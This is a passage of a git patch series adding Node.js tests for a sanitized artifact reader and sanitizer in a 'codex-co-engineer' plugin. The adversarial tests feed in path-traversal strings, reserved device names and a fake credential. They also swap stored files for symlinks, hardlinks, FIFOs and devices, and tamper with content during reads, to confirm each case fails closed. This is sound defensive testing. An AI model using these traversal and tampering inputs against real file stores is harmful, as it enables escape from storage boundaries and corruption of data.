digestOf(sample.sanitized), name); + } + }); +}); + +test('json and markdown identity-encoded text media types are accepted', async () => { + await withStore(async (store) => { + const sample = SAMPLES.prompt; + for (const mediaType of ['application/json', 'application/x-ndjson', 'text/markdown']) { + const bytes = sample.raw; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(bytes, { + media_type: mediaType, + relative_path: `runs/${RUN_ID}/${CHILD_A}/${mediaType.replace('/', '-')}.txt`, + }), + source: bytes, + }); + assert.equal(provenance.sanitized_ref.media_type, mediaType); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized)); + } + }); +}); + +test('octet-stream and non-identity encodings are refused before publication', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { media_type: 'application/octet-stream' }), + source: sample.raw, + }), + 'sanitizer_media_type_denied', + 'artifact_ref.media_type', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { content_encoding: 'base64' }), + source: sample.raw, + }), + 'sanitizer_content_encoding_denied', + 'artifact_ref.content_encoding', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { artifact_class: 'sanitized' }), + source: sample.raw, + }), + 'unknown_artifact_class', + 'artifact_ref.artifact_class', + ); + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('source_truncated is recorded truthfully and never inferred by clipping', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assertProvenanceShape(provenance, sample, { sourceTruncated: true }); + assert.equal(provenance.complete, false); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + assert.equal(provenance.sanitized_byte_length <= MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, true); + }); +}); + +test('exact same validated ref plus bytes is idempotent; conflicting content is not', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const first = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + const replay = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assert.equal(first.source_digest, replay.source_digest); + assert.equal(first.sanitized_digest, replay.sanitized_digest); + assert.equal(first.sanitized_ref.sha256, replay.sanitized_ref.sha256); + const other = Buffer.from('conflicting sanitizer payload\n'); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(other), + source: other, + }), + 'artifact_content_conflict', + ); + assert.equal((await store.audit()).artifacts, 2); + }); +}); + +test('provenance and denials are content-free', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.credentialFormat; + const error = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { sha256: 'bb'.repeat(32) }), + source: sample.raw, + }), + 'artifact_digest_mismatch', + ); + const message = `${error.message}`; + assert.equal(message.includes(root), false); + assert.equal(message.includes('sk-live-secret'), false); + assert.equal(message.includes('ENOENT'), false); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean.txt`, + }), + source: sample.raw, + }); + const projected = JSON.stringify(provenance); + assert.equal(projected.includes('sk-live-secret'), false); + assert.equal(projected.includes(ARTIFACT_SANITIZER_REPLACEMENT) === false + || projected.includes(sample.raw.toString('utf8')) === false, true); + assert.equal(projected.includes(root), false); + }); +}); + +test('unknown option keys and missing required keys fail closed', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + regex: /secret/u, + }), + 'unknown_key', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + source: sample.raw, + }), + 'missing_key', + 'options.artifact_ref', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + }), + 'missing_key', + 'options.source', + ); + }); +}); From 498aeacd168892e9fa43cbd5080100c0d911cace Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:05:53 +0000 Subject: [PATCH 017/151] test(v3): pin the bounded sanitized reader against hostile callers Focused pages cover frozen JSON-safe output, deterministic range paging, cap/EOF boundaries, raw denial before I/O, disjoint raw/sanitized siblings, wire-cap clipping versus unknown P09 provenance, Unicode and binary encodings, and the absence of sanitizer/server imports. The adversarial battery reuses P08-published sanitized fixtures and inherits P07 ref hostility (proxies with zero traps, accessors that never run, traversal and device names) plus option proxies. It proves chunked hashing never requests a whole-file buffer, same-size tampers and sidecar/ref conflicts fail closed, symlinks/hardlinks/FIFOs are not followed, torn debris and root swaps stay rejected, mid-read mutation cannot pass digest or path-identity checks, and every denial stays content-free. --- .../mcp/v3/artifact-store.mjs | 16 +- .../fixtures/r1-artifact-reader-fixtures.mjs | 58 +++ .../r1-artifact-reader-adversarial.test.mjs | 381 ++++++++++++++++++ .../test/r1-artifact-reader.test.mjs | 316 +++++++++++++++ 4 files changed, 766 insertions(+), 5 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs index 307a1b9..231dab7 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -1049,11 +1049,17 @@ async function readSanitizedRangePrepared(root, snapshot, offset, maxBytes) { failStore('artifact_digest_mismatch', 'content', 'Stored content does not hash to the declared SHA-256 digest.'); } - const after = await opened.handle.stat(); - if (!sameIdentity(before, after) - || Number(after.size) !== Number(before.size) - || Number(after.nlink) !== Number(before.nlink) - || Number(after.mode) !== Number(before.mode)) { + const afterHandle = await opened.handle.stat(); + const afterPath = await lstat(locations.contentTarget).catch(() => undefined); + if (afterPath === undefined + || !sameIdentity(before, afterHandle) + || !sameIdentity(before, afterPath) + || Number(afterHandle.size) !== Number(before.size) + || Number(afterPath.size) !== Number(before.size) + || Number(afterHandle.nlink) !== Number(before.nlink) + || Number(afterPath.nlink) !== 1 + || Number(afterHandle.mode) !== Number(before.mode) + || Number(afterPath.mode) !== Number(before.mode)) { failStore('artifact_torn_publication', 'content', 'The stored document changed while it was read.'); } diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs new file mode 100644 index 0000000..7307abc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs @@ -0,0 +1,58 @@ +// Reader-only fixtures for the P10 bounded sanitized reader. +// +// Builds on P08-published sanitized artifacts. The only product imports +// are the accepted P07/P08 modules and the reader under test; nothing +// here imports or mocks P09 sanitizer internals. + +import { + makeStoreRoot, + refFor, + removeRoot, + digestOf, + RUN_ID, + CHILD_A, + CHILD_B, +} from './r1-artifact-store-fixtures.mjs'; +import { countingProxy, validRef } from './r1-artifact-fixtures.mjs'; +import { openArtifactStoreV1 } from '../../mcp/v3/artifact-store.mjs'; + +export { + CHILD_A, + CHILD_B, + RUN_ID, + countingProxy, + digestOf, + makeStoreRoot, + refFor, + removeRoot, + validRef, +}; + +export function decodeSelected(page) { + return Buffer.from(page.selected_content, 'base64'); +} + +export async function withStore(fn) { + const root = makeStoreRoot('cce-p10-reader-'); + try { + const store = await openArtifactStoreV1({ root }); + return await fn({ root, store }); + } finally { + removeRoot(root); + } +} + +export async function withPublished(bytes, overrides, fn) { + return withStore(async ({ root, store }) => { + const ref = refFor(bytes, { artifact_class: 'sanitized', ...overrides }); + const receipt = await store.publish(ref, bytes); + return fn({ root, store, ref, bytes, receipt }); + }); +} + +// A legal relative path long enough that a max-range page can exceed the +// reader wire cap and force reader-side clipping. +export function longRelativePath() { + const segment = 'seg-' + 'n'.repeat(120); + return `runs/${segment}/${segment}/${segment}/${segment}/${segment}/${segment}/wide.bin`; +} diff --git a/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs new file mode 100644 index 0000000..99e2e89 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs @@ -0,0 +1,381 @@ +import assert from 'node:assert/strict'; +import { + chmodSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + renameSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { open as openFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + parseSanitizedReaderOptionsV1, + readSanitizedArtifactV1, +} from '../mcp/v3/artifact-reader.mjs'; +import { + ARTIFACT_STORE_INGEST_CHUNK_BYTES, + ARTIFACT_STORE_META_SUFFIX, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, +} from '../mcp/v3/artifact-store.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + decodeSelected, + digestOf, + refFor, + removeRoot, + withPublished, + withStore, +} from './fixtures/r1-artifact-reader-fixtures.mjs'; + +const PAYLOAD = Buffer.from('adversarial sanitized reader payload\n'); +const isWindows = process.platform === 'win32'; + +async function expectCode(action, code, errorPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (errorPath !== undefined) assert.equal(error.path, errorPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +async function fileHandlePrototype() { + const handle = await openFile(new URL(import.meta.url), 'r'); + try { + return Object.getPrototypeOf(handle); + } finally { + await handle.close(); + } +} + +function existsRegularFile(target) { + try { + const stat = lstatSync(target); + return stat.isFile() && !stat.isSymbolicLink(); + } catch { + return false; + } +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + assert.equal(message.includes('ELOOP'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + const text = bytes.toString('utf8'); + if (text.trim().length > 0) { + assert.equal(message.includes(text.trim()), false, 'error echoed artifact bytes'); + } + } +} + +test('proxy, accessor, and alias refs fail closed with zero traps before I/O', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const { proxy, counts } = countingProxy(ref); + const error = await expectCode(() => readSanitizedArtifactV1(store, proxy), 'proxy_denied'); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + const accessor = { ...ref }; + let getterRuns = 0; + Object.defineProperty(accessor, 'sha256', { + enumerable: true, + get() { getterRuns += 1; return digestOf(PAYLOAD); }, + }); + await expectCode(() => readSanitizedArtifactV1(store, accessor), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + const cyclic = { ...ref }; + cyclic.self = cyclic; + await expectCode(() => readSanitizedArtifactV1(store, cyclic), 'aliased_reference_denied'); + + await expectCode(() => readSanitizedArtifactV1(store, { ...ref, extra: 'x' }), 'unknown_key'); + }); +}); + +test('option proxies and accessors never run', async () => { + await withPublished(PAYLOAD, {}, async ({ store, ref, root }) => { + const { proxy, counts } = countingProxy({ offset: 0, max_bytes: 4 }); + const error = await expectCode( + () => readSanitizedArtifactV1(store, ref, proxy), + 'proxy_denied', + ); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + let optionGets = 0; + const accessorOpts = {}; + Object.defineProperty(accessorOpts, 'offset', { + enumerable: true, + get() { optionGets += 1; return 0; }, + }); + await expectCode( + () => readSanitizedArtifactV1(store, ref, accessorOpts), + 'accessor_property_denied', + ); + assert.equal(optionGets, 0); + + const symbolled = { offset: 0 }; + Object.defineProperty(symbolled, Symbol('hidden'), { enumerable: true, value: 1 }); + await expectCode(() => parseSanitizedReaderOptionsV1(symbolled), 'symbol_key_denied'); + }); +}); + +test('P07 hostile relative paths inherit exact denials on the reader', async () => { + await withStore(async ({ store }) => { + const cases = [ + [{ relative_path: '../outside.patch' }, 'alias_segment_denied'], + [{ relative_path: '/absolute.patch' }, 'absolute_path_denied'], + [{ relative_path: 'runs\\run\\x.patch' }, 'invalid_separator'], + [{ relative_path: 'runs/run-x/con' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/CON.txt' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/a:b.patch' }, 'colon_denied'], + [{ relative_path: 'runs/run-x/solid\u2044us.patch' }, 'separator_lookalike_denied'], + [{ relative_path: 'runs/run-x/invis\u200bx.patch' }, 'invisible_character_denied'], + [{ relative_path: 'runs/run-x/bell\u0007.patch' }, 'control_character_denied'], + ]; + for (const [override, expected] of cases) { + await expectCode( + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, override)), + expected, + ); + } + }); +}); + +test('reads never allocate a whole-file buffer; hashing uses the fixed ingest chunk', async () => { + const bytes = Buffer.alloc(ARTIFACT_STORE_INGEST_CHUNK_BYTES + 4096, 0x63); + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/wide.bin' }, async ({ store, ref }) => { + const proto = await fileHandlePrototype(); + const originalRead = proto.read; + const requested = []; + proto.read = function patchedRead(buffer, offset, length, position) { + const size = typeof length === 'number' ? length : buffer?.byteLength; + requested.push(size); + return originalRead.apply(this, arguments); + }; + try { + const page = await readSanitizedArtifactV1(store, ref, { offset: 100, max_bytes: 32 }); + assert.equal(decodeSelected(page).equals(bytes.subarray(100, 132)), true); + assert.ok(requested.length >= 2, 'expected more than one chunked read of a file larger than the ingest chunk'); + for (const size of requested) { + assert.ok(size <= ARTIFACT_STORE_INGEST_CHUNK_BYTES, `read requested ${size}`); + assert.notEqual(size, bytes.length); + } + } finally { + proto.read = originalRead; + } + }); +}); + +test('same-size content tamper fails digest verification', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + writeFileSync(contentLeaf, swapped); + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_digest_mismatch'); + assertContentFree(error, root, PAYLOAD); + assertContentFree(error, root, swapped); + }); +}); + +test('sidecar/ref conflict and malformed sidecars fail closed', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + await expectCode( + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { media_type: 'application/json' })), + 'artifact_metadata_conflict', + ); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + const original = readFileSync(metaLeaf); + writeFileSync(metaLeaf, '{"schema":"nope"}\n'); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_metadata_malformed'); + writeFileSync(metaLeaf, original); + const misplaced = JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: refFor(PAYLOAD, { relative_path: 'runs/elsewhere/x.patch' }), + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }); + writeFileSync(metaLeaf, `${misplaced}\n`); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_foreign_entry'); + writeFileSync(metaLeaf, original); + }); +}); + +test('symlinks, hardlinks, FIFOs, and devices are never followed or blocked on', async () => { + if (isWindows) return; + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p10-outside-'), { mode: 0o700 }); + try { + const original = readFileSync(contentLeaf); + rmSync(contentLeaf); + symlinkSync(path.join(outside, 'bait.bin'), contentLeaf); + writeFileSync(path.join(outside, 'bait.bin'), Buffer.from('bait bytes never adopted')); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + + const { link } = await import('node:fs/promises'); + await link(contentLeaf, path.join(outside, 'alias.bin')); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(path.join(outside, 'alias.bin')); + + rmSync(contentLeaf); + const { execFileSync } = await import('node:child_process'); + execFileSync('mkfifo', [contentLeaf]); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + + const devicePath = `${contentLeaf}.dev`; + try { + execFileSync('mknod', [devicePath, 'c', '1', '3'], { stdio: 'ignore' }); + rmSync(contentLeaf); + renameSync(devicePath, contentLeaf); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + } catch { + rmSync(devicePath, { force: true }); + if (!existsRegularFile(contentLeaf)) { + rmSync(contentLeaf, { force: true }); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + } + } + } finally { + rmSync(outside, { recursive: true, force: true }); + } + }); +}); + +test('torn content, missing artifacts, and leftover temporaries fail closed', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32)), 'torn'); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_torn_temporary'); + rmSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32))); + + const saved = readFileSync(contentLeaf); + rmSync(contentLeaf); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_torn_publication'); + writeFileSync(contentLeaf, saved, { mode: 0o600 }); + + const missing = refFor(Buffer.from('nope'), { relative_path: 'runs/run-store-01/missing/x.bin' }); + await expectCode(() => readSanitizedArtifactV1(store, missing), 'artifact_not_found'); + }); +}); + +test('root and path swaps are rejected; mid-read mutation cannot pass digest/stability checks', async () => { + if (isWindows) return; + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const moved = `${root}-moved`; + rmSync(moved, { recursive: true, force: true }); + renameSync(root, moved); + mkdirSync(root, { mode: 0o700 }); + try { + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_root_unsafe'); + assertContentFree(error, root, PAYLOAD); + } finally { + rmSync(root, { recursive: true, force: true }); + renameSync(moved, root); + } + }); + + const large = Buffer.alloc(ARTIFACT_STORE_INGEST_CHUNK_BYTES + 2048, 0x71); + await withPublished(large, { relative_path: 'runs/run-store-01/lane-alpha/mut.bin' }, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'mut.bin'); + const proto = await fileHandlePrototype(); + const originalRead = proto.read; + let mutated = false; + proto.read = async function patchedRead(buffer, offset, length, position) { + const result = await originalRead.apply(this, arguments); + if (!mutated && buffer?.byteLength === ARTIFACT_STORE_INGEST_CHUNK_BYTES && result.bytesRead > 0) { + writeFileSync(contentLeaf, Buffer.from(large.map((byte) => byte ^ 0x01))); + mutated = true; + } + return result; + }; + try { + const error = await expectCode(() => readSanitizedArtifactV1(store, ref)); + assert.ok( + error.code === 'artifact_digest_mismatch' || error.code === 'artifact_torn_publication' + || error.code === 'artifact_length_mismatch' || error.code === 'artifact_entry_unsafe', + `unexpected code ${error.code}`, + ); + assertContentFree(error, root, large); + } finally { + proto.read = originalRead; + } + }); +}); + +test('frozen output cannot be mutated; errors stay content-free', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { offset: 0, max_bytes: 8 }); + assert.equal(Object.isFrozen(page), true); + assert.throws(() => { page.selected_content = 'mutated'; }); + assert.throws(() => { page.artifact_ref.relative_path = 'x'; }); + assert.equal(page.selected_content !== 'mutated', true); + + const probes = [ + () => readSanitizedArtifactV1(store, countingProxy(ref).proxy), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { artifact_class: 'raw' })), + () => readSanitizedArtifactV1(store, ref, { offset: -1 }), + () => readSanitizedArtifactV1(store, ref, { max_bytes: ARTIFACT_STORE_RANGE_READ_MAX_BYTES + 1 }), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { relative_path: '../escape' })), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { relative_path: 'runs/missing/nope.bin' })), + ]; + for (const probe of probes) { + try { + await probe(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assertContentFree(error, root, PAYLOAD); + } + } + }); +}); + +test('group-readable stored files and chmod traps fail closed without leaking paths', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + chmodSync(contentLeaf, 0o644); + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + assertContentFree(error, root, PAYLOAD); + chmodSync(contentLeaf, 0o600); + }); +}); + +test('truncated content and oversized planted files fail verification on read', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(contentLeaf, PAYLOAD.subarray(0, 4)); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + writeFileSync(contentLeaf, Buffer.concat([PAYLOAD, Buffer.alloc(300 * 1024, 0x21)])); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs new file mode 100644 index 0000000..afe0ad9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs @@ -0,0 +1,316 @@ +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_READER_ERROR_CODES, + ARTIFACT_READER_MAX_RANGE_BYTES, + ARTIFACT_READER_MAX_WIRE_BYTES, + ARTIFACT_READER_OPTION_KEYS, + ARTIFACT_READER_PAGE_KEYS, + ARTIFACT_READER_SCHEMA_ID, + parseSanitizedReaderOptionsV1, + readSanitizedArtifactV1, +} from '../mcp/v3/artifact-reader.mjs'; +import { + ARTIFACT_STORE_INGEST_CHUNK_BYTES, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, +} from '../mcp/v3/artifact-store.mjs'; +import { MAX_SANITIZED_ARTIFACT_BYTE_LENGTH } from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_B, + decodeSelected, + digestOf, + longRelativePath, + refFor, + withPublished, + withStore, +} from './fixtures/r1-artifact-reader-fixtures.mjs'; + +const PAYLOAD = Buffer.from('bounded sanitized reader payload for P10\n'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +function errorOf(action, expectedCode, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +function assertUnknownProvenance(page) { + assert.equal(page.source_byte_length, null); + assert.equal(page.redaction_count, null); + assert.equal(page.sanitizer_version, null); + assert.equal(page.complete, null); + assert.equal(page.upstream_truncated, null); + assert.notEqual(page.complete, false); + assert.notEqual(page.upstream_truncated, false); + assert.notEqual(page.source_byte_length, 0); + assert.notEqual(page.redaction_count, 0); +} + +function assertPageShape(page) { + assert.equal(page.schema, ARTIFACT_READER_SCHEMA_ID); + assert.deepEqual(Object.keys(page), [...ARTIFACT_READER_PAGE_KEYS]); + assert.equal(Object.isFrozen(page), true); + assert.equal(Object.isFrozen(page.artifact_ref), true); + assert.equal(page.namespace, 'sanitized'); + assert.equal(page.selected_encoding, 'base64'); + assert.equal(typeof page.selected_content, 'string'); + assert.equal(decodeSelected(page).byteLength, page.selected_byte_length); + assert.ok(Buffer.byteLength(JSON.stringify(page), 'utf8') <= ARTIFACT_READER_MAX_WIRE_BYTES); + assertUnknownProvenance(page); +} + +test('the closed reader vocabulary and caps are exported frozen', () => { + assert.equal(ARTIFACT_READER_SCHEMA_ID, 'codex-co-engineer.artifact-reader.v1'); + assert.equal(Object.isFrozen(ARTIFACT_READER_ERROR_CODES), true); + assert.equal(Object.isFrozen(ARTIFACT_READER_OPTION_KEYS), true); + assert.equal(Object.isFrozen(ARTIFACT_READER_PAGE_KEYS), true); + assert.deepEqual([...ARTIFACT_READER_OPTION_KEYS], ['offset', 'max_bytes']); + for (const code of ['raw_artifact_denied', 'out_of_range', 'invalid_type', 'unknown_key']) { + assert.ok(ARTIFACT_READER_ERROR_CODES.includes(code), code); + } + assert.equal(ARTIFACT_READER_MAX_RANGE_BYTES, ARTIFACT_STORE_RANGE_READ_MAX_BYTES); + assert.equal(ARTIFACT_READER_MAX_RANGE_BYTES, 8192); + assert.equal(ARTIFACT_READER_MAX_WIRE_BYTES, 12288); + assert.ok(ARTIFACT_READER_MAX_RANGE_BYTES < MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); + assert.ok(ARTIFACT_STORE_INGEST_CHUNK_BYTES < MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); +}); + +test('the reader module does not import P09 sanitizer internals', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/artifact-reader.mjs', import.meta.url)), 'utf8'); + assert.equal(source.includes('artifact-sanitizer'), false); + assert.equal(/from '\.\/.*sanitiz/u.test(source), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); +}); + +test('option defaults and bounded intrinsic integers are validated before I/O', () => { + assert.deepEqual(parseSanitizedReaderOptionsV1(), { offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES }); + assert.deepEqual(parseSanitizedReaderOptionsV1({}), { offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES }); + assert.deepEqual( + parseSanitizedReaderOptionsV1({ offset: 4, max_bytes: 8 }), + { offset: 4, max_bytes: 8 }, + ); + assert.equal(Object.isFrozen(parseSanitizedReaderOptionsV1({ offset: 1 })), true); + + errorOf(() => parseSanitizedReaderOptionsV1(null), 'invalid_type'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: -1 }), 'out_of_range', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: 0.5 }), 'invalid_type', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES + 1 }), + 'out_of_range', 'options.max_bytes'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1 }), + 'out_of_range', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ extra: 1 }), 'unknown_key'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: '0' }), 'invalid_type', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ max_bytes: 1n }), 'invalid_json_type'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Number.NaN }), 'invalid_json_value', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Number.POSITIVE_INFINITY }), + 'invalid_json_value', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Object(0) }), 'exotic_prototype_denied'); +}); + +test('a small sanitized artifact returns a frozen JSON-safe page of the selected bytes', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assertPageShape(page); + assert.equal(page.byte_length, PAYLOAD.length); + assert.equal(page.sha256, digestOf(PAYLOAD)); + assert.equal(page.offset, 0); + assert.equal(page.max_bytes, ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.selected_byte_length, PAYLOAD.length); + assert.equal(decodeSelected(page).equals(PAYLOAD), true); + assert.equal(page.reader_clipped, false); + assert.equal(page.more, false); + assert.equal(page.next_offset, null); + const projected = JSON.stringify(page); + assert.equal(projected.includes(root), false); + 